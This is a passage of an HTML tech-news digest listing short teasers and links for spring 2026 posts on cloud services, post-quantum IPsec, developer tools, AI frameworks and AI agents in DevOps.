<p><strong>📅 May 1, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/code-orange-fail-small-complete/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains" class="group relative scroll-mt-24">
        <a href="#h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenSearch UI supports cross-region data access to OpenSearch domains
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opensearch-ui-supports-cross-region-data-access-to-opensearch-domains"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon OpenSearch Service now supports cross-region data access for OpenSearch UI, enabling users to access OpenSearch domains hosted in different AWS Regions from within a single OpenSearch UI applic</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/opensearch-ui-cross-region-data-access-domains/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudFront Announces WebSocket Support for VPC Origins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudfront-announces-websocket-support-for-vpc-origins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudFront now supports WebSockets traffic through Virtual Private Cloud (VPC) origins, enabling you to use CloudFront as the single entry point for real-time applications hosted entirely in pr</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-cloudfront-websockets-vpc-origins/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-with-google-cloud" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-with-google-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new with Google Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-with-google-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. Tip: Not</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/inside-google-cloud/whats-new-google-cloud/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant" class="group relative scroll-mt-24">
        <a href="#h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Dynamic Workflows: durable execution that follows the tenant
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-dynamic-workflows-durable-execution-that-follows-the-tenant"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dynamic Workflows is a library that lets you route durable execution to tenant-provided code on the fly. Built on Dynamic Workers, it enables platforms to serve millions of unique workflows at near-ze</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/dynamic-workflows/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing" class="group relative scroll-mt-24">
        <a href="#h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Unlocking sovereign AI and protected collaboration with confidential computing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-unlocking-sovereign-ai-and-protected-collaboration-with-confidential-computing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>There is a fundamental tension between using AI and the cloud while adhering to strict privacy mandates like digital sovereignty and sovereign AI. Encryption of data at rest and in transit is increasi</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/unlocking-sovereign-ai-and-protected-collaboration-confidential-computing"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-google-cloud-next-26-recap" class="group relative scroll-mt-24">
        <a href="#h3-google-cloud-next-26-recap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Google Cloud Next ’26 Recap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-google-cloud-next-26-recap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Key takeaways from Google Cloud Next &#39;26: AI is operationalizing across the SDLC, driving platform consolidation away from fragmented tools, and accelerating the shift toward efficient, frictionless s</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/google-cloud-next-26-recap"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-google-cloud-announced-in-ai-this-month" class="group relative scroll-mt-24">
        <a href="#h3-what-google-cloud-announced-in-ai-this-month" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What Google Cloud announced in AI this month
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-google-cloud-announced-in-ai-this-month"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Editor’s note: Want to keep up with the latest from Google Cloud? Check back here for a monthly recap of our latest updates, announcements, resources, events, learning opportunities, and more. We host</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/what-google-cloud-announced-in-ai-this-month/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available" class="group relative scroll-mt-24">
        <a href="#h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Post-quantum encryption for Cloudflare IPsec is generally available
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-post-quantum-encryption-for-cloudflare-ipsec-is-generally-available"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Cloudflare IPsec now has generally available support for post-quantum encryption via hybrid ML-KEM. We’ve confirmed interoperability with Cisco and Fortinet.</p>
<p><strong>📅 Apr 30, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/post-quantum-ipsec/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1119" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1119" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.119
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1119"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.119 (Insiders) Read the full article</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_119"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026" class="group relative scroll-mt-24">
        <a href="#h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 PyTorch vs. TensorFlow: Choosing the Right Framework in 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pytorch-vs-tensorflow-choosing-the-right-framework-in-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Choosing between PyTorch and TensorFlow isn’t about finding the “better” framework – it’s about finding the right fit for your project. Both power cutting-edge AI systems, but they excel in different </p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/pycharm/2026/05/pytorch-vs-tensorflow-choosing-framework-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-teaching-an-ai-agent-to-debug-flaky-tests" class="group relative scroll-mt-24">
        <a href="#h3-teaching-an-ai-agent-to-debug-flaky-tests" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Teaching an AI Agent to Debug Flaky Tests
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-teaching-an-ai-agent-to-debug-flaky-tests"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you’ve been connected to the internet for a while, you’ve surely heard of AI Agent Skills. They teach your agent to do this and that. You might have even used or written a couple of them yourself. </p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/idea/2026/05/teaching-an-ai-agent-to-debug-flaky-tests/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources" class="group relative scroll-mt-24">
        <a href="#h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kodee’s Kotlin Roundup: Golden Kodee Finalists, Kotlin 2.4.0-Beta2, and New Learning Resources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kodees-kotlin-roundup-golden-kodee-finalists-kotlin-240-beta2-and-new-learning-resources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hi everyone! April brought exciting community news with the announcement of the Golden Kodee finalists, along with Kotlin and tooling releases, multiplatform progress, and fresh backend resources. I a</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/kotlin/2026/05/kodees-kotlin-roundup-golden-kodee-finalists-kotlin-2-4-0-beta2-and-new-learning-resources/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-use-ubuntu-on-windows" class="group relative scroll-mt-24">
        <a href="#h3-how-to-use-ubuntu-on-windows" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to use Ubuntu on Windows
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-use-ubuntu-on-windows"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Why run Ubuntu on Windows? It’s about getting the best of both worlds.</p>
<p><strong>📅 May 4, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/how-to-use-ubuntu-on-windows"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500" class="group relative scroll-mt-24">
        <a href="#h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 “To us, it’s just a tool”: How SAS is selling AI to the Fortune 500
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-to-us-its-just-a-tool-how-sas-is-selling-ai-to-the-fortune-500"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For this 50-year-old company, AI is “just a tool.” At SAS Innovate 2026 in Grapevine, Texas, the 50-year-old, privately held The post “To us, it’s just a tool”: How SAS is selling AI to the Fortune 50</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/sas-innovate-agentic-ai-governance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise" class="group relative scroll-mt-24">
        <a href="#h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Mainframe modernization is no longer optional for the AI-driven enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-mainframe-modernization-is-no-longer-optional-for-the-ai-driven-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As old-guard mainframers give way to a younger generation of mainframe professionals, this new cadre brings modern ways of thinking The post Mainframe modernization is no longer optional for the AI-dr</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/open-mainframe-enterprise-modernization/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan" class="group relative scroll-mt-24">
        <a href="#h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundaresan
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-most-ai-coding-is-like-taking-your-ferrari-to-buy-milk-ibms-neel-sundaresan"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Neel Sundaresan doesn’t answer three questions. One of them, he says with some amusement, is why IBM Bob is named The post Most AI coding is “like taking your Ferrari to buy milk”: IBM’s Neel Sundares</p>
<p><strong>📅 May 3, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/ibm-bob-agentic-coding/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer" class="group relative scroll-mt-24">
        <a href="#h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Inside OpenSearch’s bid to become the default AI data layer
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-inside-opensearchs-bid-to-become-the-default-ai-data-layer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most of the engineering teams I work with started with open source OpenSearch for log analytics and enterprise search. But The post Inside OpenSearch’s bid to become the default AI data layer appeared</p>
<p><strong>📅 May 2, 2026</strong> • <strong>📰 The New Stack</strong></p>
<p><a href="https://thenewstack.io/opensearch-ai-data-layer/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-trust-problem-with-ai-agents-in-production-pipelines" class="group relative scroll-mt-24">
        <a href="#h3-the-trust-problem-with-ai-agents-in-production-pipelines" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Trust Problem With AI Agents in Production Pipelines
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-trust-problem-with-ai-agents-in-production-pipelines"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI agents boost DevOps pipelines, but confident failures create risk. Here’s how to design for calibrated trust and human oversight.</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/the-trust-problem-with-ai-agents-in-production-pipelines/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-jetbrains-academy-april-digest" class="group relative scroll-mt-24">
        <a href="#h3-jetbrains-academy-april-digest" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 JetBrains Academy – April Digest
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-jetbrains-academy-april-digest"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Hey! April brought many good reasons to open your IDE. Learn about a new DeepLearning.AI collab on spec-driven development, a beginner-friendly full-stack chat app course, a Kotlin certificate you can</p>
<p><strong>📅 May 1, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/education/2026/05/01/jetbrains-academy-april-2026/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-1-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-1-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 1, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-1-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
